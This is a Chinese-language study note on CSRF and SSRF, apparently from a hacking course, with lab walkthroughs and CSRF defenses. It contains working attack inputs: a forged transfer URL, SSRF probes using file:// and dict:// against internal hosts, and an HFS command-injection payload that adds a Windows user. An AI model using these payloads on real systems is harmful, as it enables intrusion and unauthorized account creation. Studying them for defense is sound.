2021/10/10 跨站请求伪造CSRF,服务端请求伪造SSRF


小迪

HTTP状态码和首部https://blog.csdn.net/weixin_39717121/article/details/110428981
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=28&spm_id_from=pageDriver
SSRF:
https://pan.baidu.com/s/1bp96ECJ
https://www.t00ls.cc/articles-41070.html

CSRF( Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比XSs更具危险性。
CSRF漏洞经常用来制作蠕虫攻击,刷SEO流量等
举个例子,你想给某位用户转账100元,那么单击“转账”按钮后,发出的HTTP请求会与http://www.xxbank. com/pay.php?user-xx&money=100类似。 而攻击者构造链接(http://www.xxbank. com/pay.php?user-hack&money=100),当目标用户访问了该URL后,就会自动向Hack账号转账100元,而且这只涉及目标用户的操作,攻击者并没有获取目标用户的cookie或其他信息。
在这里插入图片描述

CSRF攻击过程的两个重点
?目标用户已经登录了网站,能够执行网站的功能
?用户访问了攻击者构造的URL

CSFR演示

用户登录
在这里插入图片描述
修改个人信息抓包
在这里插入图片描述
修改GET请求,可以更改
在这里插入图片描述
在这里插入图片描述
构造脚本

 

诱导用户点击,注意的是用户要用同一浏览器才行,PHPSESSID
在这里插入图片描述
在这里插入图片描述

CSFR POC功能
在这里插入图片描述
在这里插入图片描述
复制创建脚本,引导用户点击,直接跳转到了靶场
在这里插入图片描述
在这里插入图片描述

CSFR防御方案

验证码
但是验证码并非万能。很多时候,出于用户体验考虑,网站不能给所有的操作都加上验证
码。因此,验证码只能作为防御 CSRF 的一种辅助手段,而不能作为最主要的解决方案。
POST?

如果服务器端已经区分了 GET 与 POST,那么攻击者有什么方法呢?对于攻击者来说,有 若干种方法可以构造出一个 POST 请求。
最简单的方法,就是在一个页面中构造好一个 form 表单,然后使用 JavaScript 自动提交这个表单。
2007 年的 Gmail CSRF 漏洞攻击过程中,安全研究者 pdp 展示了这一技巧。

Referer Check
上节课xss讲到,也是可以伪造的。
Anti CSRF Token
现在业界针对 CSRF 的防御,一致的做法是使用一个 Token。数据包的唯一性也就导致csrf漏洞几乎不能被利用

CSRF 为什么能够攻击成功?其本质原因是 重要操作的所有参数都是可以被攻击者猜测到的。攻击者只有预测出 URL 的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。
出于这个原因,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。这是“不可预测性原则”的一种应用

CSRF 的 Token 仅仅用于对抗 CSRF 攻击,当网站还同时存在 ⅩSS 漏洞时,这个方案就会变得无效,因为 ⅩSS
可以模拟客户端浏览器执行任意操作。在 ⅩSS 攻击下,攻击者完全可以请求页面后,读出页面内容里的 Token
值,然后再构造出一个合法的请求。这个过程可以称之为 ⅩSRF,和 CSRF 以示区分。ⅩSS 带来的问题,应该使用 ⅩSS
的防御方案予以解决,否则 CSRF 的 Token 防御就是空 中楼阁。安全防御的体系是相辅相成、缺一不可的。

在这里插入图片描述

SSRF

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

---CURLOPT_URL: 这是你想用PHP取回的URL地址。你也可以在用curl_init()函数初始化时设置这个选项

---CURLOPT_HEADER : 如果你想把一个头包含在输出中,设置这个选项为一个非零值。

在这里插入图片描述

输入:127.0.0.2:3306

在这里插入图片描述

各个协议调用探针:http,file,dict,ftp,gopher 等
漏洞攻击:端口扫描,指纹识别,漏洞利用,内网探针等

file访问本地文件

输入:file:///F:/phpstudy_pro/www.txt

在这里插入图片描述
dict返回内网端口信息

dict协议
一、定义:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。(摘自百度百科)
dict://serverip:port/命令:参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF)
dict协议功能:探测内网主机,探测端口开放情况和指纹信息,执行命令

输入:dict://192.168.17.129:3306/info

在这里插入图片描述
ftp文件传输协议
ftp:// 192.168.17.129:21
我应该是没开启ftp服务
ssrf漏洞 协议和版本的关系
在这里插入图片描述
实例演示,ssrf结合某漏洞
安装
在这里插入图片描述
因为搭建的是局域网,所以主机也可以访问到
在这里插入图片描述
通过ssrf漏洞访问
在这里插入图片描述
搜索hfs漏洞

查看虚拟机用户
在这里插入图片描述
通过添加管理员(假设主机是通过外网通过ssrf漏洞提交的,)
http://192.168.17.129:8080//?search=={.exec|cmd.exe /c net user test1234 1234 /add.}
在这里插入图片描述
SSRF 实战_图片加载翻译转码等应用说明
在这里插入图片描述
被修复
在这里插入图片描述